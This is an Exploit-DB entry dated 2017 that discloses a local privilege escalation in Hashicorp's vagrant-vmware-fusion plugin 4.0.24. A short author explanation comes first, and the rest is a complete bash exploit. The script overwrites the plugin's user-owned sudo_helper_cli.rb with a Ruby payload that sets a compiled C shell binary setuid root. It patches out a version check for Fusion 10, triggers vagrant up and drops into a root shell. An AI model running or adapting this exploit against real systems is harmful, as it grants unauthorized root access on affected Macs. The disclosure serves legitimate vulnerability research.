Hashicorp vagrant-vmware-fusion 4.0.24 – Local Privilege Escalation

  • 作者: Mark Wadham
    日期: 2017-12-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43223/
  • # I have previously disclosed a couple of bugs in Hashicorp's vagrant-vmware-fusion plugin for vagrant.
    
    # Unfortunately the 4.0.23 release which was supposed to fix the previous bug I reported didn't address the issue, so Hashicorp quickly put out another release
    # - 4.0.24 - after that (but didn't update the public changelog on github).
    
    # Unfortunately 4.0.24 is still vulnerable, largely due to a fundamental design flaw in the way the plugin is written combined with the need to elevate
    # privileges for certain functions within Fusion.
    
    # Because Hashicorp need users to be able to update the plugin as the local non-root user the encrypted ruby code that the plugin is comprised of must
    # remain owned by the non-root user. This means there is a huge attack surface that we can exploit to manipulate the execution of the program and still get
    # root on 4.0.24.
    
    # I wrote this exploit before Fusion 10 was released and on the surface 4.0.24 is not compatible with Fusion 10. Curiously though it can be fairly easily tricked
    # into working (at least partially) with Fusion 10 simply by patching out the version check and creating a symlink. I discovered this while trying to get the
    # 4.0.24 exploit working with Fusion 10 installed - we can simply monkey-patch the version check out of the code, create a symlink for a binary that VMWare
    # moved in v10 and then we're away. I was able to vagrant up and ssh into the running vm without any issues. It also means I was able to update the exploit so
    # that it works on Fusion 8.x and Fusion 10.
    
    # This seems to be (finally!) fixed properly in 4.0.25 by replacing the suid helper binary with a new go binary that contains all the required elevated
    # operations and doesn't call back to the vulnerable ruby code.
    
    # https://m4.rkw.io/vagrant_vmware_privesc_4.0.24_v8-10.sh.txt
    # 30d54139620bf8e805805d34aa54f4f348b7371642828b28cd0f8c5a7a65c0e8
    # -----------------------------------------------------------------------------
    #!/bin/bash
    echo
    echo "**********************************************************"
    echo "* vagrant_vmware_fusion plugin 4.0.24 local root privesc *"
    echo "* by m4rkw - https://m4.rkw.io/blog.html *";
    echo "**********************************************************"
    echo "* works against vmware fusion 8.x and 10.x - even though *"
    echo "* 4.0.24 is not compatible with 10.x, we patch out the *"
    echo "* version check ;) *"
    echo "**********************************************************"
    echo
    
    cleanup() {
    exec 2> /dev/null
    killall -9 vagrant 1>/dev/null 2>/dev/null
    kill -9 `ps auxwww |egrep '\/vagrant up$' |xargs -L1 |cut -d ' ' -f2` &>/dev/null
    exec 2> /dev/tty
    x=`pwd |sed 's/.*\///'`
    if [ "$x" == ".vagrant_vmware_fusion_4024_exp" ] ; then
    cd ..
    rm -rf .vagrant_vmware_fusion_4024_exp
    fi
    cd
    rm -rf .vagrant_vmware_fusion_4024_exp
    if [ -e "$target1.bak" ] ; then
    mv -f $target1.bak $target1
    fi
    if [ -e "$target2.orig" ] ; then
    mv -f $target2.orig $target2
    fi
    }
    
    vuln=`find ~/.vagrant.d//gems/2.3.4/gems/vagrant-vmware-fusion-4.0.24/bin -type f -perm +4000`
    
    if [ "$vuln" == "" ] ; then
    echo "Vulnerable suid binary not found. It gets +s after the first vagrant up."
    exit 1
    fi
    
    mkdir .vagrant_vmware_fusion_4024_exp
    cd .vagrant_vmware_fusion_4024_exp
    
    echo "Looking for a vmware_desktop vagrant box ..."
    
    box=`vagrant box list |grep '(vmware_desktop' |head -n1 |cut -d ' ' -f1`
    
    download=0
    
    if [ "$box" == "" ] ; then
    download=1
    echo "No box found, defaulting to envimation/ubuntu-xenial ..."
    box="envimation/ubuntu-xenial"
    fi
    
    echo "Writing a dummy vagrantfile ..."
    
    cat > vagrantfile <<EOF
    Vagrant.configure('2') do |config|
    config.vm.box = '$box'
    end
    EOF
    
    echo "Compiling the shell invoker ..."
    
    cat > /tmp/v.c <<EOF2
    #include <unistd.h>
    int main()
    {
    setuid(0);
    seteuid(0);
    execl("/bin/bash","bash","-c","rm -f /tmp/v; /bin/bash",NULL);
    return 0;
    }
    EOF2
    gcc -o /tmp/v /tmp/v.c
    rm -f /tmp/v.c
    
    echo "Looking for the sudo_helper_cli.rb ..."
    
    target1=`find ~/.vagrant.d/ -name sudo_helper_cli.rb |grep vagrant-vmware-fusion-4.0.24`
    
    if [ $target1 == "" ] ; then
    cleanup
    echo "sudo_helper_cli.rb version 4.0.24 not found"
    exit 1
    fi
    
    echo "Installing ruby payload ..."
    
    if [ ! -e "$target1.bak" ] ; then
    mv -f $target1 $target1.bak
    if [ ! $? -eq 0 ] ; then
    cleanup
    echo "Unable to rename $target1, may not be exploitable."
    exit 1
    fi
    fi
    
    cat > $target1 <<EOF
    #!/usr/bin/env ruby
    class HashiCorp::VagrantVMwarefusion::SudoHelperCLI
    def run(x)
    \`chown root:wheel /tmp/v\`
    \`chmod 4755 /tmp/v\`
    end
    end
    EOF
    
    if [ ! $? -eq 0 ] ; then
    cleanup
    echo "Unable to write to $target1, may not be exploitable."
    exit 1
    fi
    
    vc=`/Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx -v 2>&1 |grep 'VMware Fusion 10.'`
    
    if [ "$vc" != "" ] ; then
    echo "Fusion 10.x detected, Patching out the version check ..."
    
    target2=`find ~/.vagrant.d/ -name driver.rb |grep vagrant-vmware-fusion-4.0.24`
    
    if [ "$target2" == "" ] ; then
    cleanup
    echo "driver.rb version 4.0.24 not found"
    exit 1
    fi
    
    if [ ! -e "$target2.orig" ] ; then
    mv -f $target2 $target2.orig
    if [ ! $? -eq 0 ] ; then
    cleanup
    echo "Unable to rename $target2, may not be exploitable."
    exit 1
    fi
    fi
    
    cat > $target2 <<EOF
    load File.dirname(__FILE__) + "/driver.rb.orig"
    
    module DriverVersionHack
    def verify!
    end
    end
    
    class HashiCorp::VagrantVMwarefusion::Driver::Fusion
    prepend DriverVersionHack
    end
    EOF
    fi
    
    echo "Triggering vagrant up ..."
    
    vagrant up &>/dev/null &
    
    success=0
    
    
    if [ $download -eq 1 ] ; then
    echo "*** we need to download the vmware box so this will take a minute or two ***"
    fi
    
    echo "Waiting for payload to trigger ..."
    
    count=0
    
    while :
    do
    r=`ls -la /tmp/v |grep -- '-rwsr-xr-x1 rootwheel'`
    if [ "$r" != "" ] ; then
    success=1
    break
    fi
    r=`ps auxwww |egrep '\/vagrant up$'`
    if [ "$r" == "" ] ; then
    break
    fi
    sleep 0.2
    count=$(($count + 1))
    if [ $count -eq 150 ] ; then
    echo "Timed out waiting for the payload to trigger."
    cleanup
    exit 1
    fi
    done
    
    cleanup
    
    if [ ! $success -eq 1 ] ; then
    echo "Exploit failed."
    exit 1
    fi
    
    echo
    
    /tmp/v